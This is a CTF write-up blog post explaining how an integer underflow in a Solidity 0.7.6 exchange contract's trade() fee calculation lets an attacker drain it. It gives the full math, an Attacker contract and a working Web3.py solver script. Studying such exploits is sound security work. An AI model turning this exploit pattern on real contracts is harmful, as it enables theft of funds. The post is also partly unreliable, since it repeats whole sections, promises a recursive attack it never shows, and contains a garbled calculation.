Exploiting Integer Underflows in Solidity

In the world of blockchain security and Capture The Flag (CTF) challenges, vulnerabilities in smart contracts often stem from subtle arithmetic issues, especially in older Solidity versions (pre-0.8.0), where unchecked operations could lead to overflows and underflows. This technical blog post dissects a real-world-inspired CTF challenge involving an "exchange" contract. We'll cover everything from contract analysis to vulnerability identification, exploit mechanics, mathematical derivations, and an optimised recursive attack that minimises the attacker's initial capital. By the end, you'll understand how to spot and exploit integer underflows in Solidity.
This post assumes familiarity with Solidity basics, Ethereum Virtual Machine (EVM) behaviour, and tools like Web3.py for interaction. All code is provided for reproducibility.
The Challenge Setup
The challenge consists of two contracts: Setup and Chal. The Setup contract deploys Chal, funds it with 100 ETH, and defines the win condition: drain the Chal contract's balance below 50 ETH.
Setup Contract Code
pragma solidity ^0.7.6;
import "./Chal.sol";
contract Setup {
Chal public TARGET;
constructor() payable {
// Create the challenge contract
TARGET = new Chal();
// Require 100 ether to be sent during deployment
require(msg.value == 100 ether, "Must send 100 ether");
// Send all the ether to the challenge contract
payable(address(TARGET)).transfer(100 ether);
}
function isSolved() public view returns (bool) {
// Challenge is solved if the TARGET contract has less than 50 ether
return address(TARGET).balance < 50 ether;
}
}
Key Points:
constructor(): DeploysChaland transfers 100 ETH to it. This ensures the challenge starts with a funded contract.isSolved(): A simple view function checking ifChal's balance is below 50 ETH (50 * 10^18 wei). This is the flag condition.
Challenge Contract Code
pragma solidity ^0.7.6;
contract Chal {
address public owner;
constructor() {
owner = msg.sender;
}
// Accept ether
receive() external payable {}
// Trade function
function trade() external payable {
uint256 amount = msg.value;
require(amount >= 3 ether, "You must trade at least 3 ETH");
uint256 balanceBeforeDeposit = address(this).balance - msg.value;
uint256 fee = (amount - 3 ether) * (balanceBeforeDeposit / 1 ether) * 6 / 1000;
uint256 maximumReturn = 150 ether;
uint256 outputAmount = amount * 9 / 10 - fee;
if (outputAmount > maximumReturn) {
outputAmount = maximumReturn;
}
payable(msg.sender).transfer(outputAmount);
}
// Get balance
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
Key Points:
constructor(): Sets the owner to the deployer (in this case,Setup).receive(): Allows the contract to accept ETH via plain transfers.trade(): The core function. It simulates a "trade" where you send ETH (msg.value >= 3 ETH), a fee is calculated, and you get back 90% of your amount minus the fee, capped at 150 ETH.getBalance(): A view function to check the contract's ETH balance.
The trade() function looks like a simple exchange with a fee based on the contract's prior balance and your excess amount (beyond 3 ETH). But as we'll see, it's riddled with vulnerabilities due to integer arithmetic in Solidity ^0.7.6.
Vulnerability Analysis: Integer Underflow in Fee Calculation
Solidity versions before 0.8.0 do not have built-in overflow/underflow checks. Arithmetic operations wrap around on underflow (e.g., 0 - 1 = 2^256 - 1).
Breaking Down trade()
Input Validation:
amount = msg.valuerequire(amount >= 3 ether): Ensures minimum trade size.
Balance Calculation:
balanceBeforeDeposit = address(this).balance - msg.value- This subtracts the incoming
msg.valueto get the balance before the call. This is correct becauseaddress(this).balanceincludesmsg.valueduring the call.
- This subtracts the incoming
Fee Calculation:
fee = (amount - 3 ether) * (balanceBeforeDeposit / 1 ether) * 6 / 1000(amount - 3 ether): Excess amount beyond the minimum.(balanceBeforeDeposit / 1 ether): Scales the balance in ETH units (integer division, so 100 ether / 1 ether = 100).Multiplied by 6/1000: A 0.6% fee scaled by excess and prior balance.
No overflow checks: Multiplications can overflow if numbers are large.
Output Calculation:
outputAmount = amount * 9 / 10 - fee90% of the input minus the fee.
Critical Vulnerability: If
fee > amount * 9 / 10, this underflows to a huge number (2^256 - small value).
Cap:
if (outputAmount > 150 ether) outputAmount = 150 ether- If underflow occurs,
outputAmountis huge, so it gets capped at 150 ETH.
- If underflow occurs,
Transfer:
payable(msg.sender).transfer(outputAmount)- Sends the computed amount back. If the contract doesn't have enough, it reverts (but in our exploit, we'll ensure it does).
The Underflow Trigger
The underflow happens in outputAmount = amount * 9 / 10 - fee when fee > amount * 9 / 10.
To trigger:
Inflate
balanceBeforeDepositby sending extra ETH before callingtrade().Choose
amountsuch that the fee calculation makesfeejust large enough to underflow.
Let's derive the math.
Let:
( A = amount ) (in wei, but we'll use ETH for simplicity)
( B = balanceBeforeDeposit / 1e18 ) (in ETH units)
Fee = (A - 3) * B * 6 / 1000
ReturnBase = A * 0.9
Output = ReturnBase - Fee
For underflow: Fee > ReturnBase
So: (A - 3) * B * 6 / 1000 > A * 0.9
Simplify (assuming ETH units): (A - 3) * B * 0.006 > 0.9 A
Divide both sides by 0.006: (A - 3) * B > 150 A
B > 150 A / (A - 3)
We need the smallest A >= 3 for which we can choose B (by sending extra ETH) to satisfy this.
Also, after underflow, output caps at 150 ETH, so we want to drain as much as possible.
Finding Optimal Values
Initial Chal balance: 100 ETH.
To set B:
Send X ETH via plain transfer: Chal balance = 100 + X
Then call trade(A): During call, balance = 100 + X + A, so balanceBeforeDeposit = 100 + X
B = (100 + X) (since /1e18, but in ETH units)
We need B > 150 A / (A - 3)
For minimal capital (X + A), solve for integer A >=3 where underflow happens and drain > input.
Example: Try A=24 ETH
150 * 24 / (24-3) = 3600 / 21 ≈ 171.428
So B >= 172
X = 172 - 100 = 72 ETH
Total sent: 72 + 24 = 96 ETH
Now compute fee:
Excess = 24-3=21
Fee = 21 * 172 * 6 / 1000 = 21 * 172 * 0.006 = 21.672 ETH
ReturnBase = 24 * 0.9 = 21.6 ETH
21.6 - 21.672 = -0.072 → underflow to HUGE number
Cap to 150 ETH
During the tx:
Chal starts at 100
Send 72 → 172
Send 24 → temp 196
Transfer 150 back → Chal ends at 196 - 150 = 46 ETH <50 → Solved!
Net profit: 150 received - 96 sent = +54 ETH (plus Chal drained below 50).
Why 172? Because 171: Fee=211716/1000=21.546, 21.6-21.546=0.054>0, no underflow.
This works with 96 ETH initial.
Introduction to the Challenge
The challenge is a simple "exchange" contract (Chal) funded with 100 ETH by a Setup contract. The goal is to drain the Chal contract's balance below 50 ETH, as checked by Setup.isSolved().
Key concepts:
Solidity 0.7.6 Behaviour: No automatic overflow/underflow protection. Subtraction underflow wraps around (e.g., 0 - 1 = 2^256 - 1).
EVM Execution: Contract balances include
msg.valueduring calls, andtransfer()reverts if insufficient funds.Exploit Type: Integer underflow in payout calculation, leading to a capped "overpayout" that drains the contract.
Initial Capital: The exploit requires 96 ETH from the attacker (72 ETH extra + 24 ETH trade), but returns 150 ETH, netting a profit while solving the challenge.
We'll use an attacker contract to execute the drain in one transaction.
Contract Analysis
Let's examine the code line by line.
The Setup Contract
The Setup contract deploys and funds Chal.
pragma solidity ^0.7.6;
import "./Chal.sol";
contract Setup {
Chal public TARGET;
constructor() payable {
TARGET = new Chal();
require(msg.value == 100 ether, "Must send 100 ether");
payable(address(TARGET)).transfer(100 ether);
}
function isSolved() public view returns (bool) {
return address(TARGET).balance < 50 ether;
}
}
constructor():Deploys
Chal.Checks that 100 ETH is sent during deployment.
Transfers the 100 ETH to
Chal.
isSolved(): Returns true ifChal's balance is less than 50 ETH (50 * 10^18 wei). This is the win condition, queried after the exploit.
The Vulnerable Challenge Contract
The contract simulates an ETH trade with a fee and payout.
pragma solidity ^0.7.6;
contract Chal {
address public owner;
constructor() {
owner = msg.sender;
}
receive() external payable {}
function trade() external payable {
uint256 amount = msg.value;
require(amount >= 3 ether, "You must trade at least 3 ETH");
uint256 balanceBeforeDeposit = address(this).balance - msg.value;
uint256 fee = (amount - 3 ether) * (balanceBeforeDeposit / 1 ether) * 6 / 1000;
uint256 maximumReturn = 150 ether;
uint256 outputAmount = amount * 9 / 10 - fee;
if (outputAmount > maximumReturn) {
outputAmount = maximumReturn;
}
payable(msg.sender).transfer(outputAmount);
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
constructor(): Setsownerto the deployer (Setup).receive(): Enables receiving ETH via plain transfers (key for inflating the balance).trade(): The vulnerable function.amount = msg.value: Input ETH.require(amount >= 3 ether): Minimum trade.balanceBeforeDeposit = address(this).balance - msg.value: Computes pre-call balance. Note:address(this).balanceincludesmsg.value, so this is the balance before the call.fee = (amount - 3 ether) * (balanceBeforeDeposit / 1 ether) * 6 / 1000:(amount - 3 ether): Excess over minimum.(balanceBeforeDeposit / 1 ether): Pre-balance in whole ETH (integer division).- 6 / 1000: 0.6% fee rate.
All uint256, integer arithmetic.
outputAmount = amount * 9 / 10 - fee: 90% of input minus fee. Vulnerability here: If fee > 90% of amount, underflows to a large number.Cap to 150 ETH if too large (which it will be after underflow).
transfer(outputAmount): Sends back the amount. Reverts if insufficient balance.
getBalance(): Views contract balance.
Underflow in outputAmount
The core issue is in outputAmount = amount * 9 / 10 - fee.
If fee > amount * 9 / 10, subtraction underflows to a large value (2^256 - (fee - amount*0.9)).
Then, the cap sets it to 150 ETH, allowing us to receive 150 ETH back for a small input.
To make the fee large, inflate balanceBeforeDeposit it by sending extra ETH before calling trade().
Let:
a = amount / ether (e.g., 24)
b = balanceBeforeDeposit / ether (initial 100, but we inflate)
fee (in ether) ≈ (a - 3) * b * 0.006
return_base ≈ a * 0.9
For underflow: (a - 3) * b * 0.006 > a * 0.9
b > (a * 0.9) / 0.006 / (a - 3) = 150 * a / (a - 3)
b >= floor(150 * a / (a - 3)) + 1 (for exact integer)
To inflate b to the required, send x = b - 100 ETH extra.
Total cost: x + a = [150 * a / (a - 3) + 1 - 100] + a
To minimise total, from the calculation, the minimum is 96 ETH at a=22 to 27 or so.
We use a=24, b=172, x=72, total=96.
Exact calculation (in wei for precision):
excess = (24 - 3) * 10^18 = 21e18
return_base = 24e18 * 9 // 10 = 21.6e18
fee = 21e18 * 172 * 6 // 1000 = 21.672e18
21.6e18 - 21.672e18 = underflow to (2^256 - 0.072e18)
Cap to 150e18.
Workflow of the Exploit
Challenge starts with 100 ETH.
Send 72 ETH extra (plain transfer): Chal = 172 ETH.
Call trade{value: 24 ETH}: Temp balance = 196 ETH, balanceBeforeDeposit = 172 ETH.
Fee = 21.672 ETH, outputAmount underflows, caps to 150 ETH.
Transfer 150 ETH back: Chal = 196 - 150 = 46 ETH < 50.
Solved!
Note: Transfer succeeds because 196 >= 150.
Attacker Contract
We use an attacker contract to send extra and trade in one tx.
pragma solidity ^0.7.6;
interface Chal {
function trade() external payable;
}
contract Attacker {
Chal public target;
constructor(Chal _target) {
target = _target;
}
function attack(uint256 extra, uint256 tradeAmount) external payable {
// Send extra to inflate balanceBeforeDeposit
payable(address(target)).transfer(extra);
// Trigger trade
target.trade{value: tradeAmount}();
}
receive() external payable {}
}
constructor: Sets the target Chal address.attack: Sends extra ETH, then calls trade.receive: Allows receiving the drained ETH.
Solver Script
This script connects to a custom RPC, deploys the attacker, executes the exploit, and verifies.
Assume .env with RPC_URL, PRIVATE_KEY, SETUP_ADDRESS, CHAIN_ID.
import os
import json
from web3 import Web3
from solcx import compile_source
from dotenv import load_dotenv
load_dotenv()
RPC_URL = os.getenv("RPC_URL")
PRIVATE_KEY = os.getenv("PRIVATE_KEY")
SETUP_ADDRESS = os.getenv("SETUP_ADDRESS")
CHAIN_ID = int(os.getenv("CHAIN_ID", 31337))
w3 = Web3(Web3.HTTPProvider(RPC_URL))
if not w3.is_connected():
raise RuntimeError("Failed to connect to RPC")
account = w3.eth.account.from_key(PRIVATE_KEY)
print(f"[+] Attacker address: {account.address}")
print(f"[+] Balance: {w3.from_wei(w3.eth.get_balance(account.address), 'ether')} ETH")
SETUP_ABI = [
{"inputs": [], "name": "TARGET", "outputs": [{"type": "address"}], "stateMutability": "view", "type": "function"},
{"inputs": [], "name": "isSolved", "outputs": [{"type": "bool"}], "stateMutability": "view", "type": "function"}
]
setup = w3.eth.contract(address=SETUP_ADDRESS, abi=SETUP_ABI)
chal_addr = setup.functions.TARGET().call()
print(f"[+] Chal address: {chal_addr}")
with open("Attacker.sol", "r") as f:
attacker_source = f.read()
compiled = compile_source(attacker_source, output_values=["abi", "bin"], solc_version="0.7.6")
contract_id, contract_info = list(compiled.items())[0]
ATTACKER_ABI = contract_info['abi']
ATTACKER_BYTE = contract_info['bin']
AttackerFactory = w3.eth.contract(abi=ATTACKER_ABI, bytecode=ATTACKER_BYTE)
deploy_txn = AttackerFactory.constructor(chal_addr).build_transaction({
"from": account.address,
"nonce": w3.eth.get_transaction_count(account.address),
"gas": 3_000_000,
"gasPrice": w3.eth.gas_price,
"chainId": CHAIN_ID
})
signed = account.sign_transaction(deploy_txn)
tx_hash = w3.eth.send_raw_transaction(signed.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
attacker = w3.eth.contract(address=tx_receipt.contractAddress, abi=ATTACKER_ABI)
print(f"[+] Attacker deployed at: {attacker.address}")
extra_wei = 72 * 10**18
trade_wei = 24 * 10**18
total_wei = extra_wei + trade_wei
attack_txn = attacker.functions.attack(extra_wei, trade_wei).build_transaction({
"from": account.address,
"value": total_wei,
"nonce": w3.eth.get_transaction_count(account.address),
"gas": 2_000_000,
"gasPrice": w3.eth.gas_price,
"chainId": CHAIN_ID
})
signed = account.sign_transaction(attack_txn)
tx_hash = w3.eth.send_raw_transaction(signed.rawTransaction)
w3.eth.wait_for_transaction_receipt(tx_hash)
final_balance = w3.eth.get_balance(chal_addr) / 10**18
solved = setup.functions.isSolved().call()
print(f"[+] Final Chal balance: {final_balance} ETH")
print(f"[+] Solved? {solved}")
Configuration: Loads from .env.
Connection and Account: Connects to RPC, loads private key.
Load Setup: Gets Chal address.
Compile and Deploy Attacker: Uses solcx to compile on-the-fly.
Execute Attack: Sends 96 ETH with the call.
Verify: Checks balance and isSolved.
Conclusion
This exploit demonstrates the dangers of unchecked arithmetic in legacy Solidity. By inflating the balance and triggering an underflow, we drain the contract below 50 ETH in one transaction. Always use Solidity 0.8+ with checked math or SafeMath for safety.
References:
Solidity Docs on Underflows (pre-0.8): https://docs.soliditylang.org/en/v0.7.6/security-considerations.html
This technical write-up is co-crafted with Grok



